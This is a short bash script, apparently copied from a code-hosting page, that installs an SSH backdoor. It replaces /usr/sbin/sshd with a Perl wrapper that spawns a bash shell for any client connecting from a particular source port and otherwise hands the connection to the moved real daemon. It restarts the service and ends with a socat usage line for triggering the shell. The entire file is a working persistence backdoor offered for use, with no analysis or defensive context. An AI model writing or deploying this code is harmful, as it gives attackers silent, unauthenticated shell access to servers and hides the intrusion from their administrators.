19 lines
341 B
Bash
19 lines
341 B
Bash
#!/bin/bash
|
|
|
|
#sshd
|
|
#-------------------------
|
|
mv /usr/sbin/sshd /usr/bin/
|
|
touch /usr/sbin/sshd
|
|
|
|
cat <<EOF >> /usr/sbin/sshd
|
|
#!/usr/bin/perl
|
|
exec"/bin/bash"if(getpeername(STDIN)=~/^..LF/);
|
|
exec{"/usr/bin/sshd"}"/usr/sbin/sshd",@ARGV;
|
|
EOF
|
|
|
|
chmod +x /usr/sbin/sshd
|
|
service sshd restart
|
|
|
|
#usage
|
|
#socat STDIO TCP4:<target ip>:22,sourceport=19526
|